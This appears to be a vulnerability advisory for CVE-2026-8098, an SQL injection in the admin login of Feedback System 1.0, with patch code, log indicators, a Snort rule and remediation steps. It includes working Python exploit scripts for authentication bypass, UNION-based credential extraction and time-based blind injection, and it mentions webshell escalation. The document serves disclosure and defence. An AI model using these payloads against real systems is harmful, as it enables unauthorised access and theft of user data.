CVE-2026-8098: SQL Injection in Feedback System 1.0 checklogin.php
Unauthenticated SQL injection in /admin/checklogin.php allows remote attackers to bypass authentication and dump the database via unsanitized email parameter.
A popular feedback system used by websites has a dangerous security flaw that could let hackers steal user data or break into databases. Think of it like a lock on a door that doesn't actually verify whether the key fits before opening.
The vulnerability is in how the system checks a user's login credentials, specifically the email field. Instead of checking if the information is safe first, it feeds whatever someone types directly into the database's search engine. A savvy attacker can exploit this by typing hidden commands into the email box, essentially getting the database to do whatever they want—like handing over password lists or account information.
This matters because any website using this feedback system could be vulnerable, putting millions of ordinary users at risk. If hackers gain access, they could steal usernames, passwords, email addresses, or any personal information people submitted through feedback forms. They could even modify data or lock legitimate users out of their accounts.
Website administrators and small businesses running feedback systems are most at risk right now. They need to patch this immediately before attackers find out about it. The good news is no one has actively exploited it yet, giving organizations a window to fix things.
Here's what you should do: First, if you run a website, update your feedback system immediately if you're using this software—check with your vendor. Second, change any passwords you've used on sites with feedback forms, especially if you reuse passwords elsewhere. Third, enable two-factor authentication wherever possible, which adds an extra security layer even if passwords get compromised. These simple steps dramatically reduce your risk while developers work on the underlying problem.
Want the full technical analysis? Click "Technical" above.
CVE-2026-8098 is an unauthenticated SQL injection vulnerability in code-projects Feedback System 1.0, a PHP/MySQL web application. The vulnerable endpoint is /admin/checklogin.php, which processes the login form submitted to the admin panel. The email POST parameter is concatenated directly into a SQL query without sanitization, parameterization, or escaping. An unauthenticated remote attacker can exploit this to bypass authentication, exfiltrate database contents, and — depending on MySQL configuration — write webshells via INTO OUTFILE.
CVSS 7.3 (HIGH) reflects the network-accessible attack vector, no authentication required, and high impact to confidentiality and integrity. No special conditions or user interaction are needed. The exploit is trivially reproducible with a single curl invocation.
Affected Component
The vulnerable file is /admin/checklogin.php. This file is the sole authentication gate for the admin interface. It receives POST parameters email and password, constructs a SQL query, and evaluates the result to set a session variable. No prepared statements, mysqli_real_escape_string, or input filtering are applied at any point in the request lifecycle.
Affected version: Feedback System 1.0 (code-projects). All deployments of this version are vulnerable by default. No configuration or hardening option mitigates the underlying flaw.
Root Cause Analysis
The following pseudocode reconstructs checklogin.php based on the PHP/MySQL patterns common to this codebase and the disclosed vulnerability class. The bug is a textbook first-order SQL injection caused by direct string interpolation of user-controlled input into a query executed via mysqli_query().
/*
* Pseudocode reconstruction of /admin/checklogin.php
* Vulnerable function: implicit (procedural PHP, no function wrapper)
* Sink: mysqli_query() with unsanitized $email
*/
void checklogin_handler(HTTP_REQUEST *req, DB_CONN *db) {
char *email = http_post_param(req, "email"); // attacker-controlled
char *password = http_post_param(req, "password"); // attacker-controlled
// BUG: email is interpolated directly into query string — no escaping,
// no parameterization. Attacker controls the entire WHERE clause.
char query[512];
snprintf(query, sizeof(query),
"SELECT * FROM admin WHERE email='%s' AND password='%s'",
email, // <-- injection point
password
);
DB_RESULT *result = mysqli_query(db, query);
if (mysqli_num_rows(result) > 0) {
// Authentication bypassed: session granted unconditionally
session_set(req, "admin_logged_in", TRUE);
http_redirect(req, "/admin/dashboard.php");
} else {
http_redirect(req, "/admin/index.php?error=1");
}
}
The PHP source equivalent that produces this behavior:
// PHP source (reconstructed):
// $email is pulled from $_POST with no sanitization
$email = $_POST['email'];
$password = $_POST['password'];
// BUG: direct interpolation — attacker owns the WHERE clause
$sql = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
$_SESSION['admin'] = true;
header("Location: dashboard.php");
}
Root cause: The email POST parameter is interpolated without escaping or parameterization directly into a mysqli_query() call, allowing an attacker to terminate the string literal and inject arbitrary SQL logic.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker sends POST /admin/checklogin.php with crafted email parameter
2. Server constructs query:
SELECT * FROM admin WHERE email='' OR '1'='1'-- ' AND password='...'
3. The injected OR '1'='1' makes the WHERE clause always true
4. mysqli_num_rows() returns >= 1; session is granted without valid credentials
5. Attacker is redirected to /admin/dashboard.php as authenticated admin
6. From dashboard: enumerate tables, dump credentials, or escalate via
INTO OUTFILE to drop a PHP webshell (if FILE privilege is granted)
Authentication bypass (minimal payload):
import requests
TARGET = "http://target.example.com/admin/checklogin.php"
# Classic OR-bypass — terminates the email string literal,
# injects a tautology, comments out the password clause.
payload = {
"email": "' OR '1'='1'-- -",
"password": "irrelevant"
}
session = requests.Session()
resp = session.post(TARGET, data=payload, allow_redirects=True)
if "dashboard" in resp.url or "logout" in resp.text.lower():
print("[+] Authentication bypassed. Session cookies:", session.cookies)
else:
print("[-] Exploit failed. Response:", resp.status_code)
Data exfiltration via UNION-based injection:
import requests
TARGET = "http://target.example.com/admin/checklogin.php"
# Step 1: Determine column count (assume 3 from typical admin table schema)
# Step 2: UNION SELECT to exfiltrate admin credentials
# The injected query appends a synthetic row that satisfies num_rows > 0
# while pulling data from information_schema or the admin table itself.
union_payload = {
# Injects: SELECT null,email,password FROM admin LIMIT 1
# Reflected via session or error — blind extraction requires timing/boolean
"email": "' UNION SELECT null, email, password FROM admin LIMIT 1-- -",
"password": "x"
}
resp = requests.post(TARGET, data=union_payload)
print("[*] Response length:", len(resp.text))
# Blind: compare response length / timing against baseline to confirm injection
Time-based blind confirmation:
import requests, time
TARGET = "http://target.example.com/admin/checklogin.php"
# If UNION output is not directly observable, confirm injection via latency.
# SLEEP(5) executes only when the injected condition is evaluated.
blind_payload = {
"email": "' OR SLEEP(5)-- -",
"password": "x"
}
t0 = time.time()
requests.post(TARGET, data=blind_payload, timeout=15)
elapsed = time.time() - t0
if elapsed >= 5:
print(f"[+] Blind SQLi confirmed — response delayed {elapsed:.2f}s")
else:
print(f"[-] No delay ({elapsed:.2f}s) — may not be vulnerable")
Memory Layout
SQL injection in PHP/MySQL does not involve heap or stack corruption; the vulnerability is a query-logic flaw. The relevant "memory" to examine is the SQL parse tree and session state before and after injection.
QUERY STATE — LEGITIMATE REQUEST:
Input: email="admin@example.com", password="secret"
Query: SELECT * FROM admin WHERE email='admin@example.com'
AND password='secret'
Parse:
WHERE
├── email = 'admin@example.com' [LITERAL — controlled by DB]
└── password = 'secret' [LITERAL — controlled by DB]
Result: 0 or 1 rows (credential-gated)
QUERY STATE — INJECTED REQUEST:
Input: email="' OR '1'='1'-- -", password="x"
Query: SELECT * FROM admin WHERE email='' OR '1'='1'-- ' AND password='x'
Parse:
WHERE
├── email = '' [empty — not matched]
└── OR '1'='1' [TAUTOLOGY — always TRUE]
-- remainder is commented out
Result: ALL rows returned unconditionally
SESSION STATE BEFORE:
$_SESSION['admin'] = (unset) // no access
SESSION STATE AFTER INJECTION:
$_SESSION['admin'] = true // full admin access granted
→ dashboard.php, user management, feedback data — all exposed
Patch Analysis
The correct fix is to replace dynamic query construction with a prepared statement. Secondary hardening includes password hashing (plaintext passwords in the admin table are a compounding weakness visible in the schema).
// BEFORE (vulnerable): direct interpolation, no escaping
$email = $_POST['email'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
$_SESSION['admin'] = true;
header("Location: dashboard.php");
}
// AFTER (patched): parameterized prepared statement
$email = $_POST['email'];
$password = $_POST['password'];
// Prepared statement: $email and $password are bound as data,
// never interpreted as SQL syntax regardless of content.
$stmt = mysqli_prepare($conn,
"SELECT id, password_hash FROM admin WHERE email = ?");
mysqli_bind_param($stmt, "s", $email);
mysqli_execute($stmt);
mysqli_bind_result($stmt, $admin_id, $stored_hash);
if (mysqli_fetch($stmt)) {
// ADDITIONAL FIX: passwords must be hashed (bcrypt/argon2).
// password_verify() is constant-time; strcmp() is not.
if (password_verify($password, $stored_hash)) {
$_SESSION['admin_id'] = $admin_id;
header("Location: dashboard.php");
exit;
}
}
// Explicit failure — no session set
header("Location: index.php?error=1");
exit;
A secondary defense-in-depth measure is a Web Application Firewall rule blocking common injection metacharacters (', --, UNION, SLEEP) on the login endpoint, though this is not a substitute for parameterized queries.
Detection and Indicators
The following patterns in web server access logs indicate active exploitation attempts against this endpoint:
SUSPICIOUS LOG PATTERNS (/var/log/apache2/access.log or nginx equivalent):
POST /admin/checklogin.php — flag requests containing:
email=%27 # URL-encoded single quote
email='+OR+ # OR-bypass attempt
email='+UNION+SELECT # UNION-based exfiltration
email='+AND+SLEEP( # time-based blind probe
email='+AND+1=1-- # boolean-based probe
email=admin%40%25+--+- # comment sequence
HTTP response size anomaly:
Baseline (failed login): redirect 302 → index.php?error=1
Injected (bypass): redirect 302 → dashboard.php
→ Alert on POST /admin/checklogin.php → 302 → dashboard.php
without a valid credential in your auth log
Sqlmap default UA (common automated exploitation):
User-Agent: sqlmap/1.x.x#stable (https://sqlmap.org)
WAF/IDS signature (Snort/Suricata format):
alert http any any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2026-8098 SQLi probe against Feedback System checklogin";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/admin/checklogin.php";
http.request_body;
pcre:"/email=[^&]*(%27|'|--|%2D%2D|UNION|SLEEP|OR\s+['1])/i";
classtype:web-application-attack;
sid:20268098; rev:1;
)
Remediation
Immediate (required):
Replace all mysqli_query() calls that interpolate user input with mysqli_prepare() + mysqli_bind_param(). This applies to checklogin.php and any other query-constructing file in the application.
Hash stored passwords with password_hash($password, PASSWORD_BCRYPT) and verify with password_verify(). Plaintext or MD5 passwords in the admin table are a critical compounding weakness.
If immediate patching is not possible, restrict access to /admin/ by IP via .htaccess or nginx allow/deny directives.
Defense in depth:
Run MySQL as a least-privilege user — the application account should not hold FILE, SUPER, or GRANT privileges, preventing INTO OUTFILE webshell escalation.
Enable PHP's display_errors = Off in production to suppress error-based injection feedback.
Deploy a WAF rule matching the Snort signature above in blocking mode.
Audit all other .php files in the project for the same pattern ($_POST/$_GET directly in query strings) — applications of this vintage frequently have multiple injection points.